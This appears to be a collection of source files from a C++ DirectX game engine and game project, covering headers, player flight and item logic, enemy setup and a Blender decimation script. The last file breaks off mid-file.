"path": "/Game/Test/Test.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Physics/SphereCollider.h\"\n#include \"Physics/BoxCollider.h\"\n#include \"level/Level.h\"\n#include \"Character/CharacterController.h\"\n#include \"Effect/VolumetricEffect.h\"\n#include \"Effect/ParticleEffect.h\"\nclass ThreadTest;\n//class VolumetricEffectRender;\nclass Test:public GameObject\n{\npublic:\n\tTest() {}\n\tvirtual void Release() override;\n\tvirtual void OnDestroy() override;\n\tvoid Awake() override;\n\tvoid Update() override;\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// translate,scale,rotateの行列を作ってワールド行列を作るやり方と\n\t/// 最適化?したワールド行列を作るやり方の\n\t/// 速度の検証\n\t/// 結論:\n\t/// translate,scale,rotateの行列の生成に時間がかかるのでこれらすべてを作る必要な場合は\n\t/// 最適化したものを使う方が速い。\n\t/// </summary>\n\tvoid Test_CreateTransform();\nprivate:\n\tThreadTest* m_threadTest = nullptr;\n\tThreadObject m_threadObj;\n\n\tModelRender* m_pModel;\n\tMeshCollider m_meshColl;\n\tSphereCollider m_sphere;\n\tBoxCollider m_box;\n\tRigidBody m_rb;\n\t\n\n\tModelRender* m_physicsModel;\n\tPhysicsStaticObject m_pso;\n\n\tThreadObject m_threads[11];\n\tstd::vector<ModelRender*> m_models;\n\tVector3 m_pos = g_vec3Zero;\n\tLock<std::vector<ModelRender*>> m_lockModels = Lock<std::vector<ModelRender*>>(&m_models);\n\n\tstd::vector<CAnimationClipPtr> m_animlist;\n\n\tModelRender* m_chara;\n\tCharacterController m_characon;\n\n\tLevel m_level;\n\tstd::vector<ModelRender*> m_mapmodel;\n\tstd::vector<std::string> m_tkms;\n\tModel m_mapPhysicsList[100];\n\tPhysicsStaticObject m_mapPSOList[100];\n\tstd::mutex m_loadMutex;\n\tint m_count = 0;\n\tbool m_isEndLoad = false;\n\tfloat m_loadTime = 0.0f;\n\n\tSpriteRender* m_3dSprite;\n\n\n\tVolumetricEffectRender* m_vol_box;\n\tVolumetricEffectRender* m_vol_sphere;\n\n\tPlaneParticleEffectRender* m_effect;\n\tPlaneParticleEffectRender* m_effect_2;\n\tPlaneParticleEffectRender* m_effects[4];\n\n\tBone* m_backpackBone[6] = {nullptr};\n\n\tModelRender* m_playModel;\n\n\tRigidBody m_rigid_Test1;\n\tRigidBody m_rigid_Test2;\n\tBoxCollider m_boxTest1;\n\tBoxCollider m_boxText2;\n};"
},
{
"alpha_fraction": 0.6569148898124695,
"alphanum_fraction": 0.667553186416626,
"avg_line_length": 18.842105865478516,
"blob_id": "f83ceae7c5c022efacd1115d2b16220d33ce834e",
"content_id": "57f895cd8f223e6cac945c7ee176811b374b0fe1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 376,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 19,
"path": "/Game/Assets/SAGYO/map/ModifierAllAdd.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\n\nimport bpy\n\n\nobj = bpy.context.selected_objects\n\n\nfor o in obj:\n # set the object to active\n bpy.context.view_layer.objects.active = o\n\n # this operator will 'work' or 'operate' on the active object we just set\n bpy.ops.object.modifier_add(type=\"DECIMATE\")\n \n mo = o.modifiers[\"Decimate\"]\n mo.decimate_type = \"COLLAPSE\"\n mo.ratio = 0.08"
},
{
"alpha_fraction": 0.7218719124794006,
"alphanum_fraction": 0.7334882020950317,
"avg_line_length": 19.503400802612305,
"blob_id": "8fa2b9c96db082ea5fa106c43a2296737e2ba09c",
"content_id": "5923864333abd14ea5b9ae38d19d325dd3912c8f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3085,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 147,
"path": "/UsualEngineR/PreCompile.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#define _CRT_SECURE_NO_WARNINGS\n\n#define DEBUG_FUNC 1\n\n#define TO_INT(en) static_cast<int>(en)\n#define TO_UINT(en) static_cast<unsigned int>(en)\n#define TO_INT8(en) static_cast<char>(en)\n#define TO_UINT8(en) static_cast<unsigned char>(en)\n#define TO_INT16(en) static_cast<short>(en)\n#define TO_UINT16(en) static_cast<unsigned short>(en)\n#define TO_INT64(en) static_cast<long>(en)\n#define TO_UINT64(en) static_cast<unsigned long>(en)\n\n#pragma comment( lib, \"xinput.lib\")\n#pragma comment(lib, \"dxcompiler.lib\")\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <memory>\n#include <math.h>\n#include <vector>\n#include <list>\n#include <D3Dcompiler.h>\n#include <Windows.h>\n#include <d3d12.h>\n#include <map>\n#include <functional>\n#include <algorithm>\n#include <DirectXMath.h>\n#include <Xinput.h>\n#include <array>\n#include <dxcapi.h>\n#include <atlbase.h>\n#include <mutex>\n#include <xaudio2.h>\n#include <xaudio2fx.h>\n#include <x3daudio.h>\n\n\n#include \"btBulletDynamicsCommon.h\"\n#include \"BulletCollision\\CollisionDispatch\\btGhostObject.h\"\n\n#include \"d3dx12.h\"\n#include \"math/Math.h\"\n#include \"math/Vector.h\"\n#include \"math/Matrix.h\"\n\n#include \"math/Random.h\"\n#include \"math/PerlinNoise.h\"\n\n\n\n#include \"BufferEnum.h\"\n#include \"RenderingSituation.h\"\n\n#include \"Thread/Lock.h\"\n#include \"Thread/ThreadObject.h\"\n\n#include \"UsualEngine.h\"\n\n#include \"VertexBuffer.h\"\n#include \"IndexBuffer.h\"\n#include \"IShaderResource.h\"\n#include \"IUnorderAccessResource.h\"\n#include \"Texture.h\"\n#include \"RWStructuredBuffer.h\"\n#include \"Shader.h\"\n#include \"PipelineState.h\"\n#include \"ConstantBuffer.h\"\n#include \"RootSignature.h\"\n#include \"Raytracing/Raytracing.h\"\n#include \"GraphicsEngine.h\"\n#include \"DescriptorHeap.h\"\n#include \"RenderTarget.h\"\n\n#include \"RenderContext_inline.h\"\n#include \"DescriptorHeap_inline.h\"\n#include \"Font.h\"\n#include \"Sound/SoundSource.h\"\n\n\n#if DEBUG_FUNC\n\n\n\n#endif\n#include \"Debug/DebugPopup.h\"\n#include \"Debug/Debug.h\"\n#include \"Debug/DebugSwitch.h\"\n\n#include \"system/system.h\"\n\n#include \"Resource/IResource.h\"\n#include \"Animation.h\"\n\n#include \"tkFile/TkmFile.h\"\n\n#include \"Skeleton.h\"\n#include \"Sprite.h\"\n#include \"Model.h\"\n#include \"Primitive.h\"\n\n#include \"IK/IK.h\"\n\n#include \"HID/GamePad.h\"\n\n\n#include \"util/Util.h\"\n#include \"util/GameTime.h\"\n#include \"util/Stopwatch.h\"\n\n#include \"Physics/Physics.h\"\n#include \"Physics/PhysicsStaticObject.h\"\n#include \"Physics/RigidBody.h\"\n#include \"Physics/GhostObject.h\"\n\n#include \"GameObject/GameObject.h\"\n#include \"GameObject/GameObjectManager.h\"\n\n#include \"ModelRender.h\"\n#include \"SpriteRender.h\"\n#include \"Physics/CollisionAttr.h\"\n\n#include \"Light/LightDirection.h\"\n#include \"Light/LightPoint.h\"\n\t\n\n#include \"Debug/DebugConsole.h\"\n\nnamespace UER\n{\n\tstatic const UINT FRAME_BUFFER_W = 1280;\t\t\t\t//フレームバッファの幅。\n\tstatic const UINT FRAME_BUFFER_H = 720;\t\t\t\t//フレームバッファの高さ。\n\tstatic const int MRT_MAX = 8;\t\t\t\t\t//MRTの最大数。\n\tstatic const int MAX_BONE = 512;\t\t\t\t//ボーンの最大数。\n\n\tenum class EDebugConsoleKind :int\n\t{\n\t\tcommon = 1,\n\t\tmaster = 2,\n\n\t\tnum = 4,\n\t};\n\n}"
},
{
"alpha_fraction": 0.6229299306869507,
"alphanum_fraction": 0.628025472164154,
"avg_line_length": 14.09615421295166,
"blob_id": "9a3b101208e833aa1e5ddc33637ba51110915268",
"content_id": "a0afb8992b9beb32913566bc24b55cbe59c90ebc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1570,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 104,
"path": "/Game/Item/ItemManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"ItemManager.h\"\n#include \"IItem.h\"\n#include \"../GameManager.h\"\n#include \"../Player/Player.h\"\n#include \"RedPotion.h\"\n#include \"EnergyPotion.h\"\n\nItemManager::ItemManager()\n{\n\n}\n\nItemManager::~ItemManager()\n{\n\n}\n\n\n\nvoid ItemManager::Release()\n{\n\tfor (int i = 0; i < m_items.size(); i++) {\n\t\tdelete m_items[i];\n\t}\n}\n\nvoid ItemManager::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid ItemManager::Awake()\n{\n\n}\n\nbool ItemManager::Start()\n{\n\tm_itemLevel.Init(\"Assets/level/map_item_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t{\n\t\t\tif (objData.name == L\"HPItem\")\n\t\t\t{\n\t\t\t\tauto item = new RedPotion();\n\t\t\t\titem->SetPosition(objData.position*100.f);\n\t\t\t\tm_items.push_back(item);\n\t\t\t}\n\t\t\telse if (objData.name == L\"ENItem\")\n\t\t\t{\n\t\t\t\tauto energy = new EnergyPotion();\n\t\t\t\tenergy->SetPosition(objData.position * 100.f);\n\t\t\t\tm_items.push_back(energy);\n\t\t\t}\n\t\t\treturn true;\n\t\t});\n\n\t\n\n\t\n\n\treturn true;\n}\n\n\nvoid ItemManager::PreUpdate()\n{\n\n}\n\nvoid ItemManager::Update()\n{\n\tfor (int i = 0; i < m_items.size(); i++) {\n\t\tauto player = GameManager::GetInstance().m_player;\n\t\tif (player == nullptr) return;\n\n\t\tm_items.at(i)->Update();\n\n\t\tauto dist = (player->GetPosition() - m_items[i]->GetPosition()).Length();\n\t\tif (dist < m_items[i]->GetRange()) {\n\t\t\tm_items[i]->Apply(player);\n\n\t\t\t//delete the item then erase it from my vector of items\n\t\t\tdelete m_items[i];\n\t\t\tm_items.erase(std::remove(m_items.begin(), m_items.end(), m_items[i]), m_items.end());\n\t\t}\n\t}\n}\n\nvoid ItemManager::PostUpdate()\n{\n\n}\n\n\nvoid ItemManager::Render()\n{\n\n}\n\nvoid ItemManager::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.6300174593925476,
"alphanum_fraction": 0.6497963666915894,
"avg_line_length": 17.483871459960938,
"blob_id": "7296d24927c4b54cd1860a454e3e06bc4d7c4b2c",
"content_id": "c43e8346eabfea428b0b43c6450beeb5c4fdb3cf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2053,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 93,
"path": "/Game/Player/Attack/Bomb.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass ExplosionEffect;\n\n/// <summary>\n/// \n/// </summary>\nclass Bomb :public GameObject\n{\npublic:\n\tBomb();\n\tvirtual ~Bomb();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\n\n\tvoid Init(const Vector3& startPos, const Vector3 velocity) {\n\t\tm_position = startPos;\n\t\tm_velocity = velocity;\n\t}\n\nprivate:\n\n\t//const\n\tconst float m_lifeSpanSec = 10.f;\n\tconst float m_speed = 100.f;\n\tconst float m_igniteRange = 10.f;\n\tconst float m_ExplodeDamageRange = 50.f;\n\tconst float m_damage = 10.f;// 50.f;\n\n\tfloat m_lifeTimerSec = 0.0f;\n\n\t//Model\n\tModelRender* m_model = nullptr;\n\tVector3 m_position = { 0,15,-20 };\n\tVector3 m_velocity = { 0,0,0 };\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst float m_scale = 1.f;\n\n\tconst float m_knockBackPower = 230.f;\n\n\tCSoundSource* m_se = nullptr;\n\n\tExplosionEffect* m_explosionEffect = nullptr;\n\n\tbool m_isExploded = false;\n\tfloat m_destroyTimer = 0.f;\n\tconst float m_destroyInterval = 10.f; //sec\n};\n"
},
{
"alpha_fraction": 0.6229205131530762,
"alphanum_fraction": 0.6318545937538147,
"avg_line_length": 19.948387145996094,
"blob_id": "fbc05c70b5f8cdc4e5b4e34e3f8a3fd895546e6a",
"content_id": "b3e5434439ae7bfa152af4e2993e7b6ff7a6a0dd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3802,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 155,
"path": "/UsualEngineR/Character/CharacterController.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n* @brief\tキャラクタコントローラー。\n*/\n\n#pragma once\n\n#include \"Physics/CapsuleCollider.h\"\n#include \"Physics/RigidBody.h\"\n\nnamespace UER\n{\n\t/*!\n\t* @brief\tキャラクタコントローラー。\n\t*/\n\tclass CharacterController {\n\tpublic:\n\t\tCharacterController() {\n\n\t\t}\n\t\t~CharacterController()\n\t\t{\n\t\t\tRemoveRigidBoby();\n\t\t}\n\t\t/*!\n\t\t\t* @brief\t初期化。\n\t\t\t*@param[in]\tradius\t\tカプセルコライダーの半径。\n\t\t\t*@param[in]\theight\t\tカプセルコライダーの高さ。\n\t\t\t*@param[in]\tposition\t初期位置。\n\t\t\t*/\n\t\tvoid Init(float radius, float height, const Vector3& position, bool isUseRigidBody=true);\n\t\t/*!\n\t\t\t* @brief\t実行。\n\t\t\t*@param[in]\tdeltaTime\t\t経過時間。単位は秒。\n\t\t\t*@param[in, out]\tmoveSpeed\t\t移動速度。内部で重力加速が計算され、その結果がmoveSpeedに反映されます。\n\t\t\t*@return 移動後のキャラクターの座標。\n\t\t\t*/\n\t\tconst Vector3& Execute(float deltaTime, const Vector3& moveSpeed);\n\n\t\tvoid ExecuteWall(Vector3& nowPos, Vector3& nextPos, const Vector3& originalXZDir, float& Ypos);\n\t\tvoid ExecuteFloor(Vector3& nowPos, Vector3& nextPos, const Vector3& originalXZDir, float& Ypos);\n\t\tvoid ExecuteCeil(Vector3& nowPos, Vector3& nextPos, const Vector3& originalXZDir, float& Ypos);\n\n\t\tvoid ExebuteContactTest(const Vector3& addV);\n\t\t/*!\n\t\t\t* @brief\t座標を取得。\n\t\t\t*/\n\t\tconst Vector3& GetPosition() const\n\t\t{\n\t\t\treturn m_position;\n\t\t}\n\t\t/*!\n\t\t\t* @brief\t座標を設定。\n\t\t\t*/\n\t\tvoid SetPosition(const Vector3& pos)\n\t\t{\n\t\t\tm_position = pos;\n\t\t\tbtRigidBody* btBody = m_rigidBody.GetBody();\n\t\t\t//剛体を動かす。\n\t\t\tbtBody->setActivationState(DISABLE_DEACTIVATION);\n\t\t\tbtTransform& trans = btBody->getWorldTransform();\n\t\t\t//剛体の位置を更新。\n\t\t\ttrans.setOrigin(btVector3(m_position.x, m_position.y + m_height * 0.5f + m_radius, m_position.z));\n\t\t}\n\n\t\t/*!\n\t\t\t* @brief\tジャンプ中か判定\n\t\t\t*/\n\t\tbool IsJump() const\n\t\t{\n\t\t\treturn m_isJump;\n\t\t}\n\t\t/*!\n\t\t* @brief\t地面上にいるか判定。\n\t\t*/\n\t\tbool IsOnGround() const\n\t\t{\n\t\t\treturn m_isOnGround;\n\t\t}\n\t\t/*!\n\t\t* @brief\tコライダーを取得。\n\t\t*/\n\t\tCapsuleCollider* GetCollider()\n\t\t{\n\t\t\treturn &m_collider;\n\t\t}\n\t\t/*!\n\t\t* @brief\t剛体を取得。\n\t\t*/\n\t\tRigidBody* GetRigidBody()\n\t\t{\n\t\t\treturn &m_rigidBody;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// コライダーの属性の追加。\n\t\t/// </summary>\n\t\t/// <param name=\"ca\"></param>\n\t\ttemplate<class T>\n\t\tvoid AddCollisionAttribute(T ca)\n\t\t{\n\t\t\tif (!m_isUseRigidBody)\n\t\t\t\treturn;\n\t\t\tm_rigidBody.GetBody()->setUserIndex(m_rigidBody.GetBody()->getUserIndex() | static_cast<int>(ca));\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 当てたくないコリジョンの属性を追加。\n\t\t/// </summary>\n\t\t/// <param name=\"ca\"></param>\n\t\tvoid AddNonHitCollisionAttribute(int ca)\n\t\t{\n\t\t\tm_nonHitCollisionAttr |= ca;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// キャラコンにポインターを設定。\n\t\t/// </summary>\n\t\t/// <param name=\"p\"></param>\n\t\tvoid SetUserPointer(void* p)\n\t\t{\n\t\t\tif (!m_isUseRigidBody)\n\t\t\t\treturn;\n\t\t\tm_rigidBody.GetBody()->setUserPointer(p);\n\t\t}\n\n\t\t/*!\n\t\t* @brief\t剛体を物理エンジンから削除。。\n\t\t*/\n\t\tvoid RemoveRigidBoby();\n\n\t\tfloat GetRadius() const\n\t\t{\n\t\t\treturn m_radius;\n\t\t}\n\t\tfloat GetHeight() const\n\t\t{\n\t\t\treturn m_height;\n\t\t}\n\tprivate:\n\t\tVector3 \t\t\tm_position = g_vec3Zero;\t//座標。\n\t\tbool \t\t\t\tm_isJump = false;\t\t\t\t//ジャンプ中?\n\t\tbool\t\t\t\tm_isOnGround = true;\t\t\t//地面の上にいる?\n\t\tCapsuleCollider\t\tm_collider;\t\t\t\t\t\t//コライダー。\n\t\tfloat\t\t\t\tm_radius = 0.0f;\n\t\tfloat\t\t\t\tm_height = 0.0f;\n\t\tRigidBody\t\t\tm_rigidBody;\t\t\t\t\t//剛体。\n\t\tbool\t\t\t\tm_isUseRigidBody = true;\t\t//リジッドボデューを使う?\n\t\tbool\t\t\t\tm_isRemoveRigidBody = false;\n\n\t\tint\t\t\t\t\tm_nonHitCollisionAttr = 0;\n\n\t\tfloat\t\t\t\tm_offsetXZ = 0.0f;\n\t\tfloat\t\t\t\tm_offsetY = 0.0f;\n\t};\n}"
},
{
"alpha_fraction": 0.6581830978393555,
"alphanum_fraction": 0.6712619066238403,
"avg_line_length": 25.078340530395508,
"blob_id": "5e1010d2ff6a3f28b74e17489734e901c0874dc4",
"content_id": "397c824fe29068fb7c357e9e86deacc3262c9cea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5818,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 217,
"path": "/Game/Player/State/PlayerFlyingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerFlyingState.h\"\n#include \"../Player.h\"\n#include \"GameManager.h\"\n#include \"Camera/GameCamera.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"HUD/KeyHelp.h\"\n\nPlayerFlyingState::PlayerFlyingState()\n{\n\n}\n\nPlayerFlyingState::~PlayerFlyingState()\n{\n\tif (m_keyHelp_Rise != nullptr) {\n\t\tDeleteGO(m_keyHelp_Rise);\n\t\t//DeleteGO(m_keyHelp_Faster);\n\t\tDeleteGO(m_keyHelp_Switch);\n\t}\n}\n\nvoid PlayerFlyingState::Enter(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player Enter Flying\\n\");\n#endif\n\n\tm_canRise = true;\n\t//ブーストの上昇初期コストがないので飛べないよ.\n\tif (p->GetCurrentBoost() <= m_FIRST_RISE_BOOST_COST) {\n\t\tm_canRise = false;\n\t\treturn;\n\t}\n\n\tm_bPos = p->GetPosition();\n\tm_velocity = p->GetLocalVelocity();\n\tm_velocity.y = 0.f;\n\n\tif (p->IsOnGround()) {\n\t\tm_velocityGoal.y = m_AUTO_RISE_PARAM * m_VELOCITY_MAX;\n\t\tm_isFirstRising = true;\n\t}\n\n\tp->PlayAnimation(Player::EnAnimation::enHovering);\n\tp->FireThrusters();\n\n\tif (m_keyHelp_Rise == nullptr) {\n\t\tconst float space = 25.f;\n\t\t//Rise\n\t\tm_keyHelp_Rise = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos = { 200.f,-100.f,0.f };\n\t\tm_keyHelp_Rise->Init(keyHelpPos, L\"R2:上昇\");\n\t\t//Faster\n\t\t/*\n\t\tm_keyHelp_Faster = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos2 = { 200.f,-100.f - space * 2 , 0.f };\n\t\t//m_keyHelp_Faster->Init(keyHelpPos2, L\"X:加速\");\n\t\tm_keyHelp_Faster->Init(keyHelpPos2, L\"X:カソク\");\n\t\t*/\n\t\t//SwitchToGround\n\t\tm_keyHelp_Switch = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos3 = { 200.f,-100.f - space,0.f };\n\t\tm_keyHelp_Switch->Init(keyHelpPos3, L\"A:落下\");\n\t}\n\telse {\n\t\t//m_keyHelp_Rise->SetActive(true);\n\t\t//m_keyHelp_Faster->SetActive(true);\n\t\t//m_keyHelp_Switch->SetActive(true);\n\t}\n\tm_keyHelp_Rise->Display();\n\tm_keyHelp_Switch->Display();\n}\n\nIPlayerState* PlayerFlyingState::Update(Player* p) {\n\n\t//State\n\tauto& preset = p->GetCurrentAttackPreset();\n\tif (preset == Player::EnAttackPreset::enRemoteAttackPreset and g_pad[0]->IsPress(EnButton::enButtonB)) {\n\t\tm_hipShot.GenerateProjectiles(p);\n\t}\n\telse if (g_pad[0]->IsTrigger(EnButton::enButtonB) or g_pad[0]->IsTrigger(EnButton::enButtonY)) {\n\t\tauto nextState = p->GetState(Player::EnState::enAttack);\n\t\treturn nextState;\n\t}\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonA) or //飛行モード解除.\n\t\tp->GetCurrentBoost() <= 0.f or //ブースト不足.\n\t\t!m_canRise //初期上昇用のブーストが不足.\n\t\t) {\n\t\tauto nextState = p->GetState(Player::EnState::enFall);\n\t\treturn nextState;\n\t}\n\t\n\t//Move\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tauto lyf = g_pad[0]->GetLStickYF();\n\tauto r2f = g_pad[0]->GetR2Button();\n\n\tif (p->GetPosition().y > m_bPos.y + m_rise and m_isFirstRising) {\n\t\tm_velocityGoal.y = 0.f;\n\t\tm_isFirstRising = false;\n\t}\n\n\tif (!m_isFirstRising) {\n\t\tm_velocityGoal.y = r2f * m_VELOCITY_MAX;\n\t}\n\n\tm_velocityGoal.x = lxf * m_VELOCITY_MAX;\n\tm_velocityGoal.z = lyf * m_VELOCITY_MAX;\n\n\tbool isMovingFaster = false;\n\n\t//BOOST\n\tif (g_pad[0]->IsPress(enButtonX)) {\n\t\tm_velocityGoal *= m_VELOCITY_BOOST;\n\t\tp->UseBoost(m_BOOST_RUN_EFFICIENCY * gameTime()->GetDeltaTime());\n\t\tisMovingFaster = true;\n\t}\n\telse {\n\t\tp->UseBoost(m_BOOST_EFFICIENCY * gameTime()->GetDeltaTime());\n\t}\n\n\t//上昇してるなら追加でブーストを消費\n\tif (m_velocityGoal.y > 0.f) {\n\t\tp->UseBoost(m_RISE_BOOST_EFFICIENCY * gameTime()->GetDeltaTime());\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\n\tauto cam = g_lockCamera3D.Get();\n\tauto forward = cam->GetForward();\n\tforward.y = 0.f;\n\tforward.Normalize();\n\tVector3 up = { 0,1,0 };\n\tVector3 right = forward;\n\tright.Cross(up);\n\tright.Normalize();\n\n\tm_velocity.x = Approach(m_velocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_velocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\tm_velocity.y = Approach(m_velocityGoal.y, m_velocity.y, delta * m_QUICKNESS);\n\n\tauto vel = forward * m_velocity.z + right * -m_velocity.x + up * m_velocity.y;\n\n\t//距離チェック.\n\tconst float Input_Ignore_Dist = 10.f;\n\tauto gc = GameManager::GetInstance().GetGameCamera();\n\tconst bool isTargettingEnemy = gc->IsTargettingEnemy();\n\tif (isTargettingEnemy) {\n\t\tconst auto target = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\t\tif (target != nullptr) {\n\t\t\tVector3 nextPos = p->GetPosition() + vel;\n\t\t\tnextPos.y = 0.f;\n\t\t\tauto tar = target->GetPosition() + target->GetVelocity();\n\t\t\ttar.y = 0.f;\n\n\t\t\tconst float nexLen = (nextPos - tar).Length();\n\t\t\tconst float currentLen = (p->GetPosition() - tar).Length();\n\n\t\t\tif (nexLen <= Input_Ignore_Dist and nexLen < currentLen) {\n\t\t\t\tvel = Vector3::Zero;\n\t\t\t\tm_velocity = Vector3::Zero;\n\t\t\t}\n\t\t}\n\t}\n\n\tvel *= p->GetSpeed();\n\tp->SetVelocity(vel);\n\tp->SetLocalVelocity(m_velocity);\n\n\t//Rotation\n\tif (vel.x != 0.f or vel.z != 0.f) {\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\n\t\tif (isMovingFaster) {\n\t\t\tp->PlayAnimation(Player::EnAnimation::enFlyMoveFaster);\n\t\t}\n\t\telse {\n\t\t\tp->PlayAnimation(Player::EnAnimation::enFlyMove);\n\t\t}\n\t}\n\telse {\n\t\tp->PlayAnimation(Player::EnAnimation::enHovering);\n\t}\n\n\tp->ChargeEndurance(m_ENDURANCE_AUTO_CHARGE_AMOUNT * gameTime()->GetDeltaTime());\n\n\t//if (p->GetVelocity().Length() < 0.1) {\n\t//\tm_keyHelp_Rise->SetActive(false);\n\t//\tm_keyHelp_Faster->SetActive(false);\n\t//\tm_keyHelp_Switch->SetActive(true);\n\t//}\n\t//else {\n\t//\tm_keyHelp_Rise->SetActive(true);\n\t//\tm_keyHelp_Faster->SetActive(true);\n\t//\tm_keyHelp_Switch->SetActive(true);\n\t//}\n\n\treturn this;\n}\n\nvoid PlayerFlyingState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player Exit Flying\\n\");\n#endif\n\tm_velocity = Vector3::Zero;\n\t//m_keyHelp_Rise->SetActive(false);\n\t//m_keyHelp_Faster->SetActive(false);\n\t//m_keyHelp_Switch->SetActive(false);\n\n\tm_keyHelp_Rise->Undisplay();\n\tm_keyHelp_Switch->Undisplay();\n}"
},
{
"alpha_fraction": 0.703825831413269,
"alphanum_fraction": 0.7058047652244568,
"avg_line_length": 19.226667404174805,
"blob_id": "3f3d4999773b88c42178198e4d2c6f2aa690b13a",
"content_id": "1e7a5e07c38e46d1ba2c434f2908c49a6e7f2e5a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1552,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 75,
"path": "/Game/Enemy/Zako/Zako_ExplosionMonster.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Zako_ExplosionMonster.h\"\n\n\nZako_ExplosionMonster::Zako_ExplosionMonster()\n{\n\n}\n\nZako_ExplosionMonster::~Zako_ExplosionMonster()\n{\n\n}\n\nvoid Zako_ExplosionMonster::Init()\n{\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\n\tInitAnimation();\n\n\t//State\n\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enIdleState)]);\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n}\n\nvoid Zako_ExplosionMonster::InitAnimation()\n{\n}\n\nvoid Zako_ExplosionMonster::InitState()\n{\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new EnemyDeadState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new EnemyIdleState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enBattleState), new EnemyExplosionKamikazeState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackA), new EnemyExplosionBombState());\n\t\tm_stateMap.insert(p);\n\t}\n}\n\nvoid 